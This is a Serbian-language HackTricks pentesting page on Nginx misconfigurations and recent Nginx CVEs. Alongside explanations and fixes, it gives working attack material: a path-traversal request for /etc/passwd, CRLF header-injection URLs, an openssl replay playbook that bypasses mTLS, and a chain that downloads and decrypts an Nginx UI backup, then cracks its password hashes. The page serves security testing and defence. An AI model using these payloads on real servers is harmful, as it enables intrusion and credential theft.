Nginx

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

Nedostaje root location

Prilikom konfigurisanja Nginx servera, root directive igra ključnu ulogu definisanjem osnovnog direktorijuma iz kog se fajlovi serviraju. Razmotrite primer ispod:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

U ovoj konfiguraciji, /etc/nginx je određen kao root direktorijum. Ova postavka omogućava pristup fajlovima unutar navedenog root direktorijuma, kao što je /hello.txt. Međutim, važno je napomenuti da je definisana samo određena location (/hello.txt). Ne postoji konfiguracija za root location (location / {...}). Ovaj propust znači da se root directive primenjuje globalno, omogućavajući zahtevima ka root putanji / da pristupe fajlovima ispod /etc/nginx.

Iz ove konfiguracije proizlazi kritično bezbednosno razmatranje. Jednostavan GET zahtev, kao što je GET /nginx.conf, mogao bi da otkrije osetljive informacije tako što bi servirao Nginx konfiguracioni fajl koji se nalazi na /etc/nginx/nginx.conf. Postavljanje root-a na manje osetljiv direktorijum, kao što je /etc, moglo bi da ublaži ovaj rizik, ali i dalje može da omogući neželjen pristup drugim kritičnim fajlovima, uključujući druge konfiguracione fajlove, access logs, pa čak i šifrovane credentialse koji se koriste za HTTP basic authentication.

Alias LFI Misconfiguration

U konfiguracionim fajlovima Nginx-a, potrebno je pažljivo pregledati “location” directive. Ranljivost poznata kao Local File Inclusion (LFI) može se nehotice uvesti kroz konfiguraciju koja liči na sledeću:

location /imgs {
alias /path/images/;
}

Ova konfiguracija je podložna LFI napadima zato što server interpretira zahteve poput /imgs../flag.txt kao pokušaj pristupa fajlovima van predviđenog direktorijuma, efektivno rešavajući putanju kao /path/images/../flag.txt. Ovaj propust omogućava napadačima da preuzmu fajlove iz serverovog filesystem-a kojima ne bi trebalo da bude moguće pristupiti preko web-a.

Da bi se ova ranjivost ublažila, konfiguracija treba da se prilagodi tako da:

location /imgs/ {
alias /path/images/;
}

Više informacija: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix tests:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Nebezbedno ograničenje putanje

Proveri sledeću stranicu da naučiš kako da zaobiđeš direktive kao što su:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Nesigurna upotreba promenljivih / HTTP Request Splitting

Caution

Ranjive promenljive $uri i $document_uri i ovo se može popraviti tako što će se zameniti sa $request_uri.

Regex takođe može biti ranjiv kao:

location ~ /docs/([^/])? { … $1 … } - Ranjivo

location ~ /docs/([^/\s])? { … $1 … } - Nije ranjivo (proverava razmake)

location ~ /docs/(.*)? { … $1 … } - Nije ranjivo

Ranjivost u Nginx konfiguraciji je prikazana sledećim primerom:

location / {
return 302 https://example.com$uri;
}

Karakteri \r (Carriage Return) i \n (Line Feed) označavaju karaktere novog reda u HTTP zahtevima, a njihovi URL-enkodirani oblici su predstavljeni kao %0d%0a. Uključivanje ovih karaktera u zahtev (npr. http://localhost/%0d%0aDetectify:%20clrf) ka pogrešno konfigurisanom serveru dovodi do toga da server izdaje novi header pod nazivom Detectify. Ovo se dešava zato što $uri varijabla dekodira URL-enkodirane karaktere novog reda, što dovodi do neočekivanog headera u odgovoru:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Saznajte više o rizicima CRLF injection i response splitting na https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Takođe, ova tehnika je objašnjena u ovom predavanju sa nekoliko ranjivih primera i mehanizmima detekcije. Na primer, da biste otkrili ovu pogrešnu konfiguraciju iz blackbox perspektive, mogli biste koristiti ove zahteve:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

Ako je ranjivo, prvi će vratiti odgovor jer je “X” bilo koji HTTP method, a drugi će vratiti grešku jer H nije validan method. Dakle, server će primiti nešto kao: GET / H HTTP/1.1 i to će pokrenuti grešku.

Drugi primeri detekcije bili bi:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Neke pronađene ranjive konfiguracije predstavljene u tom predavanju bile su:

  • Obratite pažnju kako je $uri postavljen kao što jeste u finalnom URL-u
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Obrati pažnju kako je opet $uri u URL-u (ovaj put unutar parametra)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Sada u AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Any variable

Otkriveno je da bi user-supplied data moglo biti tretirano kao Nginx variable pod određenim okolnostima. Uzrok ovog ponašanja ostaje donekle nejasan, ali nije ni redak niti jednostavan za proveru. Ova anomalija je istaknuta u security report-u na HackerOne, koji se može pogledati here. Daljom analizom error message-a identifikovano je da se javlja unutar SSI filter module-a u Nginx codebase-u, pri čemu je Server Side Includes (SSI) označen kao osnovni uzrok.

Da biste detektovali ovu misconfiguration, može se izvršiti sledeća komanda, koja uključuje postavljanje referer header-a radi testiranja ispisivanja variable:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Skenovi ove pogrešne konfiguracije kroz sisteme otkrili su više slučajeva gde je korisnik mogao da ispiše Nginx varijable. Međutim, smanjenje broja ranjivih instanci sugeriše da su napori da se ovaj problem zakrpi bili donekle uspešni.

Korišćenje try_files sa $URI$ARGS varijablama

Sledeća Nginx pogrešna konfiguracija može dovesti do LFI ranjivosti:

location / {
try_files $uri$args $uri$args/ /index.html;
}

U našoj konfiguraciji imamo direktivu try_files koja se koristi za proveru postojanja fajlova u navedenom redosledu. Nginx će servirati prvi koji pronađe. Osnovna sintaksa direktive try_files je sledeća:

try_files file1 file2 ... fileN fallback;

Nginx će proveriti postojanje svakog fajla u navedenom redosledu. Ako fajl postoji, biće odmah serviran. Ako nijedan od navedenih fajlova ne postoji, zahtev će biti prosleđen na fallback opciju, koja može biti drugi URI ili specifična stranica greške.

Međutim, kada se koriste $uri$args promenljive u ovoj direktivi, Nginx će pokušati da pronađe fajl koji odgovara URI-ju zahteva kombinovanom sa bilo kojim argumentima query string-a. Zato možemo iskoristiti ovu konfiguraciju:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Sa sledećim payload-om:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Koristeći naš payload, izaći ćemo iz root direktorijuma (definisanog u Nginx konfiguraciji) i učitati fajl /etc/passwd. U debug logovima možemo posmatrati kako Nginx pokušava fajlove:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC protiv Nginx koristeći konfiguraciju pomenutu iznad: Example burp request

Raw backend response reading

Nginx nudi feature preko proxy_pass koji omogućava interception grešaka i HTTP headers koje generiše backend, sa ciljem da sakrije interne error poruke i headers. Ovo se postiže tako što Nginx servira custom error pages kao odgovor na backend greške. Međutim, problemi nastaju kada Nginx naiđe na invalid HTTP request. Takav zahtev se prosleđuje backend-u onako kako je primljen, a potom se backend-ov raw response direktno šalje klijentu bez Nginx-ove intervencije.

Posmatrajmo primer scenarija koji uključuje uWSGI aplikaciju:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Za upravljanje ovim koriste se specifične directive u Nginx konfiguraciji:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Ova direktiva omogućava Nginx-u da posluži prilagođeni odgovor za backend odgovore sa statusnim kodom većim od 300. Ona obezbeđuje da, u našem primeru uWSGI aplikacije, odgovor 500 Error bude presretnut i obrađen od strane Nginx-a.
  • proxy_hide_header: Kao što ime sugeriše, ova direktiva skriva navedene HTTP headere od klijenta, poboljšavajući privatnost i bezbednost.

Kada se pošalje validan GET zahtev, Nginx ga obrađuje normalno, vraćajući standardni error odgovor bez otkrivanja ikakvih tajnih headera. Međutim, neispravan HTTP zahtev zaobilazi ovaj mehanizam, što dovodi do izlaganja sirovih backend odgovora, uključujući tajne headere i poruke o grešci.

merge_slashes set to off

Podrazumevano, Nginx-ova merge_slashes direktiva je postavljena na on, što kompresuje više kosih crta u URL-u u jednu kosu crtu. Ova funkcija, iako pojednostavljuje obradu URL-a, može nehotice prikriti ranjivosti u aplikacijama iza Nginx-a, posebno one sklone local file inclusion (LFI) napadima. Stručnjaci za bezbednost Danny Robinson i Rotem Bar su istakli potencijalne rizike povezane sa ovim podrazumevanim ponašanjem, posebno kada Nginx deluje kao reverse-proxy.

Da bi se ublažili takvi rizici, preporučuje se da se merge_slashes direktiva isključi za aplikacije podložne ovim ranjivostima. To obezbeđuje da Nginx prosleđuje zahteve aplikaciji bez menjanja strukture URL-a, čime se ne maskiraju postojeći bezbednosni problemi.

Za više informacija pogledajte Danny Robinson and Rotem Bar.

Maclicious Response Headers

Kao što je prikazano u ovom writeup-u, postoje određeni headeri koji, ako su prisutni u odgovoru web servera, menjaju ponašanje Nginx proxy-ja. Možete ih proveriti u docs:

  • X-Accel-Redirect: Ukazuje Nginx-u da interno redirect-uje zahtev na navedenu lokaciju.
  • X-Accel-Buffering: Kontroliše da li Nginx treba da baferuje odgovor ili ne.
  • X-Accel-Charset: Postavlja skup znakova za odgovor kada se koristi X-Accel-Redirect.
  • X-Accel-Expires: Postavlja vreme isteka za odgovor kada se koristi X-Accel-Redirect.
  • X-Accel-Limit-Rate: Ograničava brzinu prenosa za odgovore kada se koristi X-Accel-Redirect.

Na primer, header X-Accel-Redirect će izazvati interno redirect-ovanje u nginx-u. Dakle, ako nginx konfiguracija sadrži nešto poput root / a odgovor web servera sadrži X-Accel-Redirect: .env, nginx će poslati sadržaj fajla /.env (Path Traversal).

Default Value in Map Directive

U Nginx configuration, map direktiva često igra ulogu u authorization control. Česta greška je neodređivanje default vrednosti, što može dovesti do neovlašćenog pristupa. Na primer:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Bez default, malicious user može da zaobiđe security pristupom undefined URI unutar /map-poc. The Nginx manual preporučuje postavljanje default value kako bi se izbegli takvi problemi.

DNS Spoofing Vulnerability

DNS spoofing protiv Nginx je izvodljiv pod određenim uslovima. Ako napadač zna DNS server koji koristi Nginx i može da presretne njegove DNS queries, može da spoofuje DNS records. Ova metoda, međutim, nije efektivna ako je Nginx podešen da koristi localhost (127.0.0.1) za DNS resolution. Nginx omogućava da se DNS server zada na sledeći način:

resolver 8.8.8.8;

proxy_pass and internal Directives

Direktiva proxy_pass se koristi za preusmeravanje zahteva na druge servere, bilo interno ili eksterno. Direktiva internal obezbeđuje da su određene lokacije dostupne samo unutar Nginx. Iako ove direktive same po sebi nisu ranjivosti, njihova konfiguracija zahteva pažljivu proveru kako bi se sprečile bezbednosne greške.

proxy_set_header Upgrade & Connection

Ako je nginx server konfigurisan da prosleđuje Upgrade i Connection headere, može se izvršiti h2c Smuggling attack za pristup zaštićenim/internal endpointima.

Caution

Ova ranjivost bi omogućila napadaču da uspostavi direktnu konekciju sa proxy_pass endpointom (http://backend:9999 u ovom slučaju) čiji sadržaj nginx neće proveravati.

Primer ranjive konfiguracije za krađu /flag odavde here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Napomena da čak i ako je proxy_pass pokazivao na određeni path kao što je http://backend:9999/socket.io, konekcija će biti uspostavljena sa http://backend:9999, tako da možeš kontaktirati bilo koji drugi path unutar tog internog endpointa. Dakle, nije važno ako je path naveden u URL-u od proxy_pass.

HTTP/3 QUIC module remote DoS & leak (2024)

Tokom 2024. Nginx je objavio CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 i CVE-2024-35200, pokazujući da jedna hostile QUIC sesija može srušiti worker procese ili leak-ovati memoriju kad god je eksperimentalni ngx_http_v3_module kompajliran i listen ... quic socket je izložen. Pogođene verzije su 1.25.0–1.25.5 i 1.26.0, dok 1.27.0/1.26.1 sadrže fix-eve; memory disclosure (CVE-2024-34161) dodatno zahteva MTU vrednosti veće od 4096 bajtova da bi se osetljivi podaci pojavili (detalji u 2024 nginx advisory referenciranom ispod).

Recon & exploitation hints

  • HTTP/3 je opt-in, pa skeniraj za Alt-Svc: h3=":443" odgovore ili brute-force UDP/443 QUIC handshakes; kada potvrdiš, fuzz-uj handshake i STREAM frame-ove sa custom quiche-client/nghttp3 payloads da bi triggerovao pad worker procesa i forsirao leak logova.
  • Brzo fingerprint-uj podršku cilja sa:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

Februarski savet iz 2025. otkrio je da nginx 1.11.4–1.27.3 buildovan sa OpenSSL dozvoljava ponovno korišćenje TLS 1.3 sesije iz jednog name-based virtual host-a unutar drugog, tako da klijent koji je pregovorio host bez certifikata može da replay-uje ticket/PSK i upadne u vhost zaštićen sa ssl_verify_client on; i potpuno preskoči mTLS. Bug se aktivira kad god više virtual host-ova deli isti TLS 1.3 session cache i tickets (vidi 2025 nginx advisory naveden ispod).

Attacker playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Ako je cilj ranjiv, drugi handshake se završava bez prezentovanja client certificate, otkrivajući zaštićene lokacije.

Šta auditovati

  • Mešoviti server_name blokovi koji dele ssl_session_cache shared:SSL plus ssl_session_tickets on;.
  • Admin/API blokovi koji očekuju mTLS, ali nasleđuju shared session cache/ticket podešavanja od public hostova.
  • Automatizaciju koja globalno uključuje TLS 1.3 session resumption (npr. Ansible roles) bez uzimanja u obzir vhost isolation.

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

HTTP/2 Rapid Reset attack (CVE-2023-44487) i dalje pogađa nginx kada operatori podignu keepalive_requests ili http2_max_concurrent_streams iznad default vrednosti: attacker otvori jednu HTTP/2 konekciju, zatrpa je sa hiljadama streams, a zatim odmah pošalje RST_STREAM frame-ove tako da concurrency ceiling nikad nije dostignut dok CPU nastavlja da troši resurse na tear-down logiku. Nginx default vrednosti (128 concurrent streams, 1000 keepalive requests) drže blast radius malim; podizanje tih limita “substantially higher” čini trivijalnim da se worker-i izgladnjuju čak i od jednog client-a (pogledajte F5 write-up pomenut ispod).

Saveti za detekciju

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Domaćini koji otkrivaju neuobičajeno visoke vrednosti za te direktive su glavne mete: jedan HTTP/2 klijent može da petlja kroz kreiranje stream-ova i trenutne RST_STREAM frame-ove kako bi zadržao CPU na maksimumu bez okidanja concurrency limita.

Nginx UI pre-auth backup export + crypto material leakage

Nginx UI je poseban admin panel za nginx, a ne sam nginx daemon. U Nginx UI < 2.3.3, endpoint za izvoz bekapa može biti dostupan bez autentikacije, a odgovor takođe može da leak-uje AES-256-CBC key i IV potrebne za dešifrovanje bekapa preko X-Backup-Security header-a. Ovo pretvara “encrypted backup download” u odmah dostupno credential / token / private-key disclosure.

Fast version fingerprinting from SPA assets

Ako je login strana JS-heavy SPA, preuzmite glavni bundle sa / i pogledajte da li postoji namenski version chunk:

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

Na ranjivim Nginx UI build-ovima ovo često vraća literal kao što je const t="2.3.2", što je dovoljno da se poklopi sa ranjivim opsegom pre autentikacije.

Proveri izložene API endpoint-e i preuzmi backup

Čak i kada većina /api/* ruta vraća 403, testiraj direktno backup-style endpoint-e:

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

Ako je ranjiv, X-Backup-Security sadrži base64(key):base64(iv). Dekodiraj obe vrednosti i potvrdi očekivane dužine (32-byte key, 16-byte IV):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Nakon dešifrovanja, pregledaj oporavljene nginx konfiguracije i podatke Nginx UI aplikacije. Uobičajena post-exploitation putanja je:

  • Ekstraktuj reverse-proxy i vhost detalje iz nginx_dec.zip
  • Pregledaj nginx-ui_dec.zip za app.ini, database.db, API tokene ili certificate materijal
  • Izvuci SQLite users tabelu i crackuj oporavljene password hash-eve offline
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

Ovaj obrazac vredi testirati i u drugim admin proizvodima: neautentifikovan “encrypted” export je i dalje otkrivanje plaintext-a ako response otkriva materijal za decryption ili ga čuva zajedno sa archive-om.

Try it yourself

Detectify je napravio GitHub repository gde možeš koristiti Docker da podesiš sopstveni vulnerable Nginx test server sa nekim od misconfigurations o kojima se govori u ovom članku i pokušaš da ih sam pronađeš!

https://github.com/detectify/vulnerable-nginx

Static Analyzer tools

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (a updated fork of GIXY) je tool za analizu Nginx configurations, sa ciljem da pronađe vulnerabilities, insecure directives, i risky misconfigurations. Takođe pronalazi misconfigurations koje utiču na performance, i detektuje propuštene hardening opportunities, omogućavajući automated flaw detection.
  • gixy-ng (actively maintained fork of GIXY) je tool za analizu Nginx configurations, sa ciljem da pronađe vulnerabilities, insecure directives, i risky misconfigurations. Takođe pronalazi misconfigurations koje utiču na performance, i detektuje propuštene hardening opportunities, omogućavajući automated flaw detection.

Nginxpwner

Nginxpwner je simple tool za traženje common Nginx misconfigurations i vulnerabilities.

References

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks